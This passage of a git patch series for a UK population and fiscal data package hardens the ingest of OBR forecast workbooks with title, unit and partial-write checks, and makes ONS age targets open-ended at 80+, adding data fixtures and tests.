Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 policyengine_uk_data/targets/obr_sources.py   | 137 ++++++++++++++----
 .../tests/test_obr_sources.py                 | 123 ++++++++++++++++
 2 files changed, 231 insertions(+), 29 deletions(-)

diff --git a/policyengine_uk_data/targets/obr_sources.py b/policyengine_uk_data/targets/obr_sources.py
index 10fc4bc1..6898341f 100644
--- a/policyengine_uk_data/targets/obr_sources.py
+++ b/policyengine_uk_data/targets/obr_sources.py
@@ -28,14 +28,17 @@
 workbook's title, SHA-256, size and download time and every target's old
 and new value, writing nothing. It also says whether the bytes match the
 committed workbooks when the vintage is the active one, which makes a
-March 2026 download a rehearsal. Without ``--dry-run``, ``ingest`` parses
-the workbooks in a staging folder and then copies them under
-``storage/obr_efo/<vintage>/``. It requires each workbook's title to name
-the vintage, and requires the targets the current manifest requires. It
-writes the manifest with each file's SHA-256, size and download time (the
-file's modification time unless ``--downloaded-at`` is given) and never
-replaces an ingested vintage. Point ``sources.yaml`` at the new manifest to
-adopt it.
+March 2026 download a rehearsal. Without ``--dry-run``, ``ingest`` also
+needs ``--receipts-url`` and ``--expenditure-url``, the pages the workbooks
+came from, which every target cites. It parses the workbooks in a staging
+folder and then moves them under ``storage/obr_efo/<vintage>/``. It requires
+each workbook's title to name the vintage and no other, and requires the
+targets the current manifest requires. It writes the manifest with each
+file's SHA-256, size and download time (the file's modification time unless
+``--downloaded-at`` is given). Each part is written under a temporary name
+and renamed into place, so an interrupted ingest leaves a ``.partial`` file
+that the next attempt names. It never replaces an ingested vintage. Point
+``sources.yaml`` at the new manifest to adopt it.
 """
 
 from __future__ import annotations
@@ -43,8 +46,10 @@
 import argparse
 import hashlib
 import io
+import os
 import re
 import sys
+import unicodedata
 from dataclasses import dataclass
 from datetime import date, datetime, timezone
 from functools import lru_cache
@@ -175,21 +180,43 @@ def _timestamp(value, where: str) -> Optional[str]:
     return parsed.isoformat()
 
 
+_MONTHS = (
+    "january|february|march|april|may|june|july|august|september|october|"
+    "november|december"
+)
+
+
+def _normal(text: str) -> str:
+    """Unicode-normalised lower case, one plain space between words, dashes as -."""
+    text = unicodedata.normalize("NFKC", text)
+    text = re.sub(r"[\u2010-\u2015\u2212]", "-", text)
+    return re.sub(r"\s+", " ", text).strip().lower()
+
+
 def check_names(vintage: str, label: str, titles: Mapping[str, str], where: str):
     """The vintage, its label and each workbook's own title must agree.
 
-    ``march_2026`` must be labelled "March 2026", and each workbook titled
-    "March 2026 Economic and fiscal outlook ..." ending with its kind. The
-    title is read from the verified bytes, so the bytes decide the vintage.
+    ``march_2026`` must be labelled "March 2026". Each workbook's title must
+    name that vintage and no other, call itself the Economic and fiscal
+    outlook, and end with its kind, ignoring a closing note in brackets and
+    punctuation: "March 2026 Economic and fiscal outlook - detailed forecast
+    tables: receipts" or "Economic and fiscal outlook, March 2026: detailed
+    forecast tables - receipts (revised)". The title is read from the verified
+    bytes, so the bytes decide the vintage.
     """
     if not re.fullmatch(r"[a-z]+_\d{4}", vintage):
         raise SourceError(f"{where}: vintage must look like october_2026")
     if label.lower().replace(" ", "_") != vintage:
         raise SourceError(f"{where}: label {label!r} does not name vintage {vintage!r}")
+    want = _normal(label)
     for kind, title in titles.items():
-        lowered = title.strip().lower()
-        if not lowered.startswith(f"{label.lower()} economic and fiscal outlook") or (
-            not lowered.endswith(kind)
+        normal = _normal(title)
+        named = set(re.findall(rf"\b(?:{_MONTHS}) \d{{4}}\b", normal))
+        tail = re.sub(r"\s*\([^()]*\)\s*$", "", normal).rstrip(" .,:;-")
+        if (
+            named != {want}
+            or "economic and fiscal outlook" not in normal
+            or not re.search(rf"\b{kind}$", tail)
         ):
             raise SourceError(
                 f"{where}: the {kind} workbook is titled {title!r}, which is not "
@@ -318,10 +345,22 @@ def unit_scale(ws, unit: str) -> float:
 
 # A row label giving its own unit, as table 4.19's "Standard colour licence
 # fee (£)" or "Number of UK households (m)" do under a "£ billion unless
-# otherwise stated" table.
+# otherwise stated" table. Broad on purpose (Sol re-review of #592): any £, %
+# or "per cent" in the label, or a unit word in brackets or after a final
+# comma, refuses the row, in any spelling.
+_UNIT_WORD = (
+    r"(?:bn|billions?|millions?|thousands?|0{3}s?|m|p|pence|per\s*cent|"
+    r"percentage points?|ppts?)"
+)
 _ROW_UNIT = re.compile(
-    r"\(\s*(?:£|£m|£bn|£ ?million|£ ?billion|m|bn|million|thousands?|per cent|%|p|pence)\s*\)"
-    r"|\bper cent\b|%"
+    rf"£|%|\bper\s*cent\b|\([^()]*\b{_UNIT_WORD}\b[^()]*\)|,\s*{_UNIT_WORD}\s*$",
+    re.IGNORECASE,
+)
+# A sub-heading that restates the unit for the rows under it, as "£ million"
+# or "Memo: per cent".
+_UNIT_HEADING = re.compile(
+    rf"^\s*(?:memo\s*:?\s*)?(?:£\s*)?{_UNIT_WORD}(?:\s+unless otherwise stated)?\s*$",
+    re.IGNORECASE,
 )
 
 
@@ -332,11 +371,19 @@ def read_row(ws, row: int, manifest: ObrManifest) -> dict:
     applied to every row read.
     """
     label = str(ws[f"B{row}"].value or "")
-    if _ROW_UNIT.search(label):
+    if _ROW_UNIT.search(_normal(label)):
         raise SourceError(
             f"{ws.title}!B{row}: {label!r} states its own unit, not the table's "
             f"{manifest.unit}"
         )
+    for above in range(_UNIT_ROWS + 1, row):
+        for column in "AB":
+            heading = ws[f"{column}{above}"].value
+            if isinstance(heading, str) and _UNIT_HEADING.match(_normal(heading)):
+                raise SourceError(
+                    f"{ws.title}!{column}{above}: the sub-heading {heading!r} above "
+                    f"row {row} gives its own unit, not the table's {manifest.unit}"
+                )
     scale = unit_scale(ws, manifest.unit)
     out = {}
     for column, year in year_columns(
@@ -358,7 +405,12 @@ def coverage_problems(targets: Sequence, manifest: ObrManifest) -> list:
     stays the complete list.
     """
     built = {t.name: t for t in targets}
+    names = [t.name for t in targets]
     problems = [
+        f"{name} was built more than once"
+        for name in sorted({n for n in names if names.count(n) > 1})
+    ]
+    problems += [
         f"{t.name} carries vintage {t.forecast_vintage!r}, not {manifest.vintage!r}"
         for t in targets
         if t.forecast_vintage != manifest.vintage
@@ -465,9 +517,10 @@ def ingest(
 
     Everything is checked in a staging folder first: both workbooks read
     and carry the vintage's titles, and the build's parsers yield every
-    required target and year from them. Only then are the files copied
-    into storage and the manifest written. A vintage already in storage or
-    in the manifests folder is never replaced.
+    required target and year from them. Only then are the files moved
+    into storage and the manifest written, each under a temporary name that
+    is renamed into place. A vintage already in storage or in the manifests
+    folder is never replaced, and a partial ingest is named on the next try.
     """
     import tempfile
 
@@ -482,11 +535,31 @@ def ingest(
     downloaded_at = dict(downloaded_at or {})
     destination = storage / "obr_efo" / vintage
     path = manifest_dir / f"obr_{vintage}.yaml"
-    if not dry_run and (destination.exists() or path.exists()):
-        raise SourceError(
-            f"{vintage} is already ingested ({destination} or {path} exists); "
-            "remove it deliberately before ingesting again"
-        )
+    partial_dir = destination.parent / f".{vintage}.partial"
+    partial_manifest = path.with_name(f".{path.name}.partial")
+    if not dry_run:
+        if path.exists():
+            raise SourceError(
+                f"{vintage} is already ingested ({path} exists); remove it "
+                "deliberately before ingesting again"
+            )
+        leftovers = [
+            p for p in (destination, partial_dir, partial_manifest) if p.exists()
+        ]
+        if leftovers:
+            raise SourceError(
+                f"an earlier ingest of {vintage} stopped part way: "
+                f"{', '.join(str(p) for p in leftovers)} exist but {path.name} does "
+                "not. Remove them deliberately, then ingest again"
+            )
+        missing = [
+            kind for kind in KINDS if not str(urls.get(kind, "")).startswith("https://")
+        ]
+        if missing:
+            raise SourceError(
+                f"ingest: give the https page each workbook was downloaded from "
+                f"(--{missing[0]}-url); every target cites it"
+            )
     files, titles, data = {}, {}, {}
     for kind in KINDS:
         data[kind] = Path(sources[kind]).read_bytes()
@@ -541,10 +614,16 @@ def ingest(
     )
     if dry_run:
         return manifest, path, target_diff(old, new)
-    destination.mkdir(parents=True)
+    # Write each part under a temporary name and rename it into place, so an
+    # interrupted ingest leaves a partial file that the next attempt names,
+    # never a half-written workbook or manifest under the real name.
+    partial_dir.mkdir(parents=True)
     for kind in KINDS:
-        (storage / files[kind].path).write_bytes(data[kind])
-    path.write_text(text)
+        (partial_dir / f"{kind}.xlsx").write_bytes(data[kind])
+    os.replace(partial_dir, destination)
+    manifest_dir.mkdir(parents=True, exist_ok=True)
+    partial_manifest.write_text(text)
+    os.replace(partial_manifest, path)
     return load_manifest(path), path, target_diff(old, new)
 
 
diff --git a/policyengine_uk_data/tests/test_obr_sources.py b/policyengine_uk_data/tests/test_obr_sources.py
index 5a9d9056..5393acc4 100644
--- a/policyengine_uk_data/tests/test_obr_sources.py
+++ b/policyengine_uk_data/tests/test_obr_sources.py
@@ -22,6 +22,7 @@
     SourceError,
     active_manifest,
     check_coverage,
+    check_names,
     coverage_problems,
     ingest,
     load_workbook,
@@ -527,3 +528,125 @@ def test_the_rehearsal_command_runs_on_the_committed_march_workbooks(tmp_path, c
     assert code == 0
     assert "the same bytes as the committed March 2026 workbook" in out
     assert "would write" in out
+
+
+# Sol re-review of #592: P3 hardening.
+
+
+@pytest.mark.parametrize(
+    "label",
+    [
+        "BBC licence fee receipts (£ millions)",
+        "BBC licence fee receipts (£ bn)",
+        "BBC licence fee receipts (£ m)",
+        "BBC licence fee receipts (£ thousand)",
+        "BBC licence fee receipts (£000)",
+        "BBC licence fee receipts (000s)",
+        "BBC licence fee receipts (£m, cash)",
+        "BBC licence fee receipts (millions)",
+        "BBC licence fee receipts (bn)",
+        "BBC licence fee receipts, £ million",
+        "BBC licence fee receipts, million",
+        "BBC licence fee receipts (per cent)",
+        "BBC licence fee receipts (% of GDP)",
+        "BBC licence fee receipts\u00a0(£\u00a0million)",
+    ],
+)
+def test_a_row_stating_its_own_unit_in_any_spelling_is_refused(label):
+    ws = load_workbook("expenditure")["4.19"]
+    row = obr._find_row(ws, "BBC licence fee receipts", max_row=30)
+    ws[f"B{row}"] = label
+    with pytest.raises(SourceError, match="states its own unit"):
+        read_row(ws, row, MANIFEST)
+
+
+@pytest.mark.parametrize("heading", ["£ million", "Memo: £ million", "per cent", "£m"])
+def test_a_row_under_a_unit_sub_heading_is_refused(heading):
+    ws = load_workbook("expenditure")["4.19"]
+    row = obr._find_row(ws, "BBC licence fee receipts", max_row=30)
+    assert read_row(ws, row, MANIFEST)  # the real row reads
+    ws[f"A{row - 1}"] = heading
+    with pytest.raises(SourceError, match="sub-heading"):
+        read_row(ws, row, MANIFEST)
+
+
+@pytest.mark.parametrize(
+    "title",
+    [
+        "October 2026 Economic and fiscal outlook \u2013 detailed forecast tables: receipts",
+        "Economic and fiscal outlook \u2013 October 2026: detailed forecast tables \u2013 receipts",
+        "October 2026 Economic and fiscal outlook - detailed forecast tables: receipts (revised)",
+        "October 2026 Economic and fiscal outlook \u2013 detailed forecast tables: receipts.",
+        "October\u00a02026 Economic and fiscal outlook \u2014 detailed forecast tables: Receipts",
+    ],
+)
+def test_plausible_title_formats_are_accepted(title):
+    check_names("october_2026", "October 2026", {"receipts": title}, "test")
+
+
+@pytest.mark.parametrize(
+    "title",
+    [
+        "March 2026 Economic and fiscal outlook \u2013 detailed forecast tables: receipts",
+        "October 2026 Economic and fiscal outlook (March 2026 tables): receipts",
+        "October 2026 Fiscal risks and sustainability \u2013 tables: receipts",
+        "October 2026 Economic and fiscal outlook \u2013 detailed forecast tables: expenditure",
+        "October 2026 Economic and fiscal outlook \u2013 receipts: supplementary tables",
+    ],
+)
+def test_a_title_for_another_vintage_report_or_kind_is_refused(title):
+    with pytest.raises(SourceError, match="not the October 2026 EFO receipts"):
+        check_names("october_2026", "October 2026", {"receipts": title}, "test")
+
+
+def test_a_target_built_twice_fails_coverage(march_targets):
+    targets = [t for t in march_targets if t.forecast_vintage == MANIFEST.vintage]
+    problems = coverage_problems(targets + [targets[0]], MANIFEST)
+    assert problems == [f"{targets[0].name} was built more than once"]
+
+
+def test_a_real_ingest_needs_the_download_pages(tmp_path):
+    with pytest.raises(SourceError, match="https page"):
+        _ingest(tmp_path, urls={"receipts": "", "expenditure": ""})
+    assert not (tmp_path / "storage").exists()
+    # A dry run, the Budget-day rehearsal, does not need them.
+    _ingest(tmp_path, urls={}, dry_run=True)
+
+
+def test_an_interrupted_workbook_copy_is_named_on_retry(tmp_path, monkeypatch):
+    real = obr_sources.Path.write_bytes
+
+    def fail_on_expenditure(self, data):
+        # The copy into storage, after staging and every check have passed.
+        if self.name == "expenditure.xlsx" and self.parent.name.endswith(".partial"):
+            raise OSError("disk full")
+        return real(self, data)
+
+    monkeypatch.setattr(obr_sources.Path, "write_bytes", fail_on_expenditure)
+    with pytest.raises(OSError, match="disk full"):
+        _ingest(tmp_path)
+    monkeypatch.undo()
+    # Nothing is under the vintage's real name.
+    assert not (tmp_path / "storage" / "obr_efo" / "march_2026").exists()
+    assert not (tmp_path / "manifests" / "obr_march_2026.yaml").exists()
+    with pytest.raises(SourceError, match="stopped part way: .*march_2026.partial"):
+        _ingest(tmp_path)
+
+
+def test_an_interrupted_manifest_write_is_named_on_retry(tmp_path, monkeypatch):
+    real = obr_sources.os.replace
+
+    def fail_on_manifest(source, destination):
+        if str(destination).endswith(".yaml"):
+            raise OSError("interrupted")
+        return real(source, destination)
+
+    monkeypatch.setattr(obr_sources.os, "replace", fail_on_manifest)
+    with pytest.raises(OSError, match="interrupted"):
+        _ingest(tmp_path)
+    monkeypatch.undo()
+    assert not (tmp_path / "manifests" / "obr_march_2026.yaml").exists()
+    with pytest.raises(SourceError, match="stopped part way") as refused:
+        _ingest(tmp_path)
+    message = str(refused.value)
+    assert "march_2026" in message and ".obr_march_2026.yaml.partial" in message

From 61f8f7ef00297a1344345b87e0f97e9cf5efe398 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 11:11:46 -0400
Subject: [PATCH 36/76] Match ONS age targets to the FRS top code of 80

---
 .gitignore                                    |   4 +
 changelog.d/593-age-topcode.fixed.md          |   1 +
 .../storage/regional_age_80_plus.csv          |  13 ++
 .../targets/compute/demographics.py           |   5 +-
 .../targets/sources/ons_demographics.py       |  53 +++--
 .../tests/fixtures/ons_uk_population_2025.csv | 215 ++++++++++++++++++
 .../tests/test_ons_demographics_targets.py    | 133 +++++++++++
 tools/ons_age_targets/README.md               |  56 +++++
 tools/ons_age_targets/build.py                | 138 +++++++++++
 9 files changed, 595 insertions(+), 23 deletions(-)
 create mode 100644 changelog.d/593-age-topcode.fixed.md
 create mode 100644 policyengine_uk_data/storage/regional_age_80_plus.csv
 create mode 100644 policyengine_uk_data/tests/fixtures/ons_uk_population_2025.csv
 create mode 100644 tools/ons_age_targets/README.md
 create mode 100644 tools/ons_age_targets/build.py

diff --git a/.gitignore b/.gitignore
index 70d8396d..b0b3a6ab 100644
--- a/.gitignore
+++ b/.gitignore
@@ -18,6 +18,7 @@
 !policyengine_uk_data/datasets/local_areas/**/*.csv
 **/_build
 !policyengine_uk_data/storage/*.csv
+!policyengine_uk_data/tests/fixtures/ons_uk_population_2025.csv
 **/version.json
 # Build output: household weights by local area, derived from FRS microdata
 policyengine_uk_data/storage/local_geography_weights.csv.gz
@@ -26,3 +27,6 @@ policyengine_uk_data/storage/local_geography_weights.csv.gz
 
 # Hypothesis example database (property-based tests)
 .hypothesis/
+
+# Local build-job notes, caches and hand-off artefacts
+.job/
diff --git a/changelog.d/593-age-topcode.fixed.md b/changelog.d/593-age-topcode.fixed.md
new file mode 100644
index 00000000..49bfb27c
--- /dev/null
+++ b/changelog.d/593-age-topcode.fixed.md
@@ -0,0 +1 @@
+Matched national and regional ONS age targets to the FRS top code with open-ended 80+ bands, including the projection's oldest age groups.
diff --git a/policyengine_uk_data/storage/regional_age_80_plus.csv b/policyengine_uk_data/storage/regional_age_80_plus.csv
new file mode 100644
index 00000000..4afa81cb
--- /dev/null
+++ b/policyengine_uk_data/storage/regional_age_80_plus.csv
@@ -0,0 +1,13 @@
+name,2022,2023,2024,2025,2026,2027,2028,2029,reference_url
+east_age_80_plus,350364.000,359057.134,371659.091,383909.917,397184.443,425490.369,445444.208,459810.859,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1
+east_midlands_age_80_plus,252810.000,259714.072,270269.576,279796.208,288881.005,308397.351,323332.659,334586.295,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1
+london_age_80_plus,281480.000,283880.847,288218.147,292199.323,298451.115,312294.218,322619.866,330707.051,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1
+north_east_age_80_plus,141323.000,142485.609,146050.948,149741.415,153969.782,164716.911,172434.769,178458.689,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1
+north_west_age_80_plus,368936.000,375461.807,385752.712,394643.102,404696.948,431246.821,450009.928,463577.946,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1
+northern_ireland_age_80_plus,86145.000,89224.000,92507.000,95719.000,98931.000,103172.000,106713.000,109973.000,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/z6zippedpopulationprojectionsdatafilesnorthernireland
+scotland_age_80_plus,274428.000,279070.000,285484.000,290656.000,297529.000,316051.000,330092.000,341986.000,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/z5zippedpopulationprojectionsdatafilesscotland
+south_east_age_80_plus,517027.000,531225.098,550842.841,569679.705,590428.825,631358.154,661477.046,684046.367,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1
+south_west_age_80_plus,359314.000,370051.020,384900.773,399727.616,414550.838,442926.618,465134.345,481977.036,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1
+wales_age_80_plus,175956.000,179720.000,185492.000,191184.000,196718.000,209247.000,219315.000,226905.000,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/z4zippedpopulationprojectionsdatafileswales
+west_midlands_age_80_plus,311947.000,319178.683,330274.556,339480.659,347714.374,366032.307,380011.894,390810.558,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1
+yorkshire_and_the_humber_age_80_plus,279307.000,284139.773,292163.361,300471.035,308655.688,329410.267,344273.286,355194.173,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1
diff --git a/policyengine_uk_data/targets/compute/demographics.py b/policyengine_uk_data/targets/compute/demographics.py
index 4d0b8092..f405f24a 100644
--- a/policyengine_uk_data/targets/compute/demographics.py
+++ b/policyengine_uk_data/targets/compute/demographics.py
@@ -26,7 +26,8 @@ def compute_regional_age(target, ctx) -> np.ndarray | None:
     region_name = name[:idx]
     age_part = name[idx + 5 :]
     lower, upper = age_part.split("_")
-    lower, upper = int(lower), int(upper)
+    lower = int(lower)
+    upper = np.inf if upper == "plus" else int(upper)
 
     pe_region = _REGION_INV.get(region_name)
     if pe_region is None:
@@ -44,7 +45,7 @@ def compute_gender_age(target, ctx) -> np.ndarray:
     parts = name.split("_")
     sex = parts[0]
     lower = int(parts[1])
-    upper = int(parts[2])
+    upper = np.inf if parts[2] == "plus" else int(parts[2])
 
     gender = ctx.sim.calculate("gender").values
     sex_match = gender == ("FEMALE" if sex == "female" else "MALE")
diff --git a/policyengine_uk_data/targets/sources/ons_demographics.py b/policyengine_uk_data/targets/sources/ons_demographics.py
index 0d04f631..04a1463f 100644
--- a/policyengine_uk_data/targets/sources/ons_demographics.py
+++ b/policyengine_uk_data/targets/sources/ons_demographics.py
@@ -3,10 +3,9 @@
 Downloads the ONS 2024-based principal population projection for the
 UK to extract total population and gender × age band targets.
 
-For regional age breakdowns (12 regions × 9 age bands), reads the
-pre-existing demographics.csv which was extracted from ONS subnational
-projections. The subnational projections don't have a stable machine-
-readable download URL, so this is the pragmatic compromise.
+Regional age breakdowns use demographics.csv below age 80 and a committed
+ONS projection extract for 80+, including the terminal age group. See
+tools/ons_age_targets for the sources and extraction method.
 
 Household type and tenure targets are from ONS families & households
 datasets (also lacking stable machine-readable URLs).
@@ -52,7 +51,7 @@
 
 _YEARS = list(range(2022, 2030))
 
-# Age band boundaries
+# FRS ages are top-coded at 80, so the last band includes every older age.
 _AGE_BANDS = [
     (0, 9),
     (10, 19),
@@ -62,7 +61,7 @@
     (50, 59),
     (60, 69),
     (70, 79),
-    (80, 89),
+    (80, None),
 ]
 
 # Five-year bands. The previous 15-year bands (0-14, 15-29, ...) pinned only
@@ -89,8 +88,7 @@
     (65, 69),
     (70, 74),
     (75, 79),
-    (80, 84),
-    (85, 90),
+    (80, None),
 ]
 
 
@@ -121,12 +119,19 @@ def _find_projection_member(names: list[str]) -> str:
 
 
 def _aggregate_ages(
-    df: pd.DataFrame, sex: str, low: int, high: int, years: list[int]
+    df: pd.DataFrame, sex: str, low: int, high: int | None, years: list[int]
 ) -> dict[int, float]:
-    """Sum population for a sex and age range across years."""
+    """Sum an inclusive age band; None includes the projection's terminal age."""
     sex_filter = "Females" if sex == "female" else "Males"
-    ages = pd.to_numeric(df["Age"], errors="coerce")
-    mask = (df["Sex"] == sex_filter) & ages.between(low, high)
+    # Use each group's lower age: the 2024-based workbook ends with
+    # "105 - 109" and "110 and over"; older vintages can use "90+".
+    ages = pd.to_numeric(
+        df["Age"].astype(str).str.extract(r"^(\d+)", expand=False), errors="coerce"
+    )
+    age_mask = ages >= low
+    if high is not None:
+        age_mask &= ages <= high
+    mask = (df["Sex"] == sex_filter) & age_mask
     subset = df[mask]
     result = {}
     for y in years:
@@ -176,7 +181,7 @@ def _parse_uk_totals(df: pd.DataFrame) -> list[Target]:
             if values:
                 targets.append(
                     Target(
-                        name=f"ons/{sex}_{low}_{high}",
+                        name=f"ons/{sex}_{low}_{'plus' if high is None else high}",
                         variable="age",
                         source="ons",
                         unit=Unit.COUNT,
@@ -190,17 +195,19 @@ def _parse_uk_totals(df: pd.DataFrame) -> list[Target]:
 
 
 def _parse_regional_from_csv() -> list[Target]:
-    """Read regional age band targets from demographics.csv.
-
-    This CSV was extracted from ONS subnational projections which
-    lack a stable machine-readable download URL.
-    """
+    """Read regional bands, replacing the legacy bounded top band with 80+."""
     csv_path = STORAGE / "demographics.csv"
     if not csv_path.exists():
         logger.warning("demographics.csv not found, skipping regional")
         return []
 
     demographics = pd.read_csv(csv_path)
+    # Replace the legacy bounded 80-89 targets with direct ONS 80+ sums,
+    # including 90+, instead of relabelling totals with a different scope.
+    demographics = demographics[~demographics["name"].str.endswith("_age_80_89")]
+    top_bands = pd.read_csv(STORAGE / "regional_age_80_plus.csv")
+    top_bands["unit"] = "person"
+    demographics = pd.concat([demographics, top_bands], ignore_index=True)
     targets = []
 
     # Skip rows now handled by dedicated modules (ons_households.py,
@@ -231,8 +238,8 @@ def _parse_regional_from_csv() -> list[Target]:
         for y in _YEARS:
             col = str(y)
             if col in row.index and pd.notna(row[col]):
-                # Values in CSV are in thousands
-                values[y] = float(row[col]) * 1e3
+                scale = 1 if row["unit"] == "person" else 1e3
+                values[y] = float(row[col]) * scale
         if values:
             targets.append(
                 Target(
@@ -243,7 +250,11 @@ def _parse_regional_from_csv() -> list[Target]:
                     geographic_level=GeographicLevel.REGION,
                     values=values,
                     is_count=True,
-                    reference_url=_REF_REGION,
+                    reference_url=(
+                        row["reference_url"]
+                        if pd.notna(row.get("reference_url"))
+                        else _REF_REGION
+                    ),
                 )
             )
 
diff --git a/policyengine_uk_data/tests/fixtures/ons_uk_population_2025.csv b/policyengine_uk_data/tests/fixtures/ons_uk_population_2025.csv
new file mode 100644
index 00000000..585b1c84
--- /dev/null
+++ b/policyengine_uk_data/tests/fixtures/ons_uk_population_2025.csv
@@ -0,0 +1,215 @@
+Sex,Age,2025
+Females,0,317686
+Females,1,327935
+Females,2,338279
+Females,3,358658
+Females,4,356258
+Females,5,369761
+Females,6,376378
+Females,7,381376
+Females,8,390185
+Females,9,400480
+Females,10,397930
+Females,11,399560
+Females,12,408413
+Females,13,418244
+Females,14,417732
+Females,15,413729
+Females,16,410318
+Females,17,414288
+Females,18,399447
+Females,19,398620
+Females,20,406477
+Females,21,404249
+Females,22,401940
+Females,23,408447
+Females,24,412365
+Females,25,422024
+Females,26,444655
+Females,27,458010
+Females,28,469985
+Females,29,463354
+Females,30,470982
+Females,31,484020
+Females,32,486083
+Females,33,498400
+Females,34,504074
+Females,35,503593
+Females,36,500871
+Females,37,507256
+Females,38,496049
+Females,39,489353
+Females,40,485837
+Females,41,469975
+Females,42,469221
+Females,43,463843
+Females,44,467338
+Females,45,465639
+Females,46,444476
+Females,47,412021
+Females,48,402609
+Females,49,410811
+Females,50,417510
+Females,51,422475
+Females,52,438299
+Females,53,454957
+Females,54,473232
+Females,55,460650
+Females,56,470719
+Females,57,469471
+Females,58,470280
+Females,59,469617
+Females,60,471064
+Females,61,464261
+Females,62,452458
+Females,63,439638
+Females,64,421487
+Females,65,403839
+Females,66,393032
+Females,67,380880
+Females,68,364266
+Females,69,348875
+Females,70,334931
+Females,71,333201
+Females,72,324950
+Females,73,313788
+Females,74,312458
+Females,75,314249
+Females,76,317096
+Females,77,330339
+Females,78,350379
+Females,79,263767
+Females,80,249905
+Females,81,242088
+Females,82,219106
+Females,83,189777
+Females,84,163167
+Females,85,161170
+Females,86,150872
+Females,87,137597
+Females,88,121030
+Females,89,105738
+Females,90,90358
+Females,91,73607
+Females,92,61708
+Females,93,51510
+Females,94,41269
+Females,95,32160
+Females,96,23665
+Females,97,16907
+Females,98,11918
+Females,99,8188
+Females,100,5349
+Females,101,3385
+Females,102,2064
+Females,103,1211
+Females,104,677
+Females,105 - 109,546
+Females,110 and over,6
+Males,0,333572
+Males,1,344421
+Males,2,356607
+Males,3,376143
+Males,4,373747
+Males,5,386967
+Males,6,395428
+Males,7,399866
+Males,8,409003
+Males,9,420639
+Males,10,417531
+Males,11,418996
+Males,12,428612
+Males,13,438674
+Males,14,439496
+Males,15,433546
+Males,16,431615
+Males,17,436434
+Males,18,425336
+Males,19,422999
+Males,20,430550
+Males,21,430470
+Males,22,426240
+Males,23,423436
+Males,24,426041
+Males,25,435235
+Males,26,447885
+Males,27,452338
+Males,28,459538
+Males,29,451896
+Males,30,454060
+Males,31,462487
+Males,32,460659
+Males,33,470586
+Males,34,476185
+Males,35,473059
+Males,36,467528
+Males,37,469878
+Males,38,458073
+Males,39,457277
+Males,40,454111
+Males,41,439326
+Males,42,438740
+Males,43,436382
+Males,44,439505
+Males,45,441201
+Males,46,423905
+Males,47,393520
+Males,48,386917
+Males,49,395093
+Males,50,402512
+Males,51,406800
+Males,52,422253
+Males,53,436908
+Males,54,450989
+Males,55,439963
+Males,56,449773
+Males,57,447985
+Males,58,451039
+Males,59,446161
+Males,60,447763
+Males,61,440594
+Males,62,429773
+Males,63,418061
+Males,64,402529
+Males,65,384785
+Males,66,372436
+Males,67,360028
+Males,68,341388
+Males,69,326411
+Males,70,309308
+Males,71,305067
+Males,72,296642
+Males,73,281653
+Males,74,279520
+Males,75,277095
+Males,76,279193
+Males,77,286999
+Males,78,302900
+Males,79,223985
+Males,80,208431
+Males,81,199761
+Males,82,175241
+Males,83,147423
+Males,84,122567
+Males,85,118037
+Males,86,107840
+Males,87,95378
+Males,88,80913
+Males,89,67392
+Males,90,55358
+Males,91,43439
+Males,92,34474
+Males,93,26990
+Males,94,20167
+Males,95,14236
+Males,96,9666
+Males,97,6400
+Males,98,4165
+Males,99,2573
+Males,100,1535
+Males,101,844
+Males,102,456
+Males,103,227
+Males,104,109
+Males,105 - 109,73
+Males,110 and over,0
diff --git a/policyengine_uk_data/tests/test_ons_demographics_targets.py b/policyengine_uk_data/tests/test_ons_demographics_targets.py
index 433bf3e2..1df25ff4 100644
--- a/policyengine_uk_data/tests/test_ons_demographics_targets.py
+++ b/policyengine_uk_data/tests/test_ons_demographics_targets.py
@@ -1,9 +1,21 @@
+from pathlib import Path
+from types import SimpleNamespace
+
+import numpy as np
 import pandas as pd
 import pytest
+from hypothesis import given
+from hypothesis import strategies as st
 
+from policyengine_uk_data.targets.build_loss_matrix import _compute_column
+from policyengine_uk_data.targets.schema import Target, Unit
 from policyengine_uk_data.targets.sources.ons_demographics import (
+    _AGE_BANDS,
+    _GENDER_BANDS,
     _aggregate_ages,
     _find_projection_member,
+    _parse_regional_from_csv,
+    _parse_uk_totals,
 )
 
 
@@ -22,3 +34,124 @@ def test_aggregate_ages_accepts_string_age_values():
 def test_find_projection_member_fails_loudly():
     with pytest.raises(RuntimeError, match="uk_ppp_machine_readable"):
         _find_projection_member(["uk/readme.txt"])
+
+
+@pytest.mark.parametrize("bands", [_AGE_BANDS, _GENDER_BANDS])
+@given(age=st.integers(min_value=0, max_value=80))
+def test_age_bands_partition_frs_ages_and_respect_top_code(bands, age):
+    assert bands[-1] == (80, None)
+    for low, high in bands:
+        assert low <= 80, "No target may start above the FRS top code"
+        assert high is None or high < 80, "80+ must be open-ended"
+    assert sum(low <= age and (high is None or age <= high) for low, high in bands) == 1
+
+
+@pytest.mark.parametrize("sex,multiplier", [("female", 1), ("male", 10)])
+def test_80_plus_target_sums_every_projection_age(sex, multiplier):
+    projection = pd.DataFrame(
+        [
+            {"Sex": label, "Age": str(age), 2025: (age + 1) * factor}
+            for label, factor in [("Females", 1), ("Males", 10)]
+            for age in range(101)
+        ]
+    )
+    targets = {target.name: target for target in _parse_uk_totals(projection)}
+
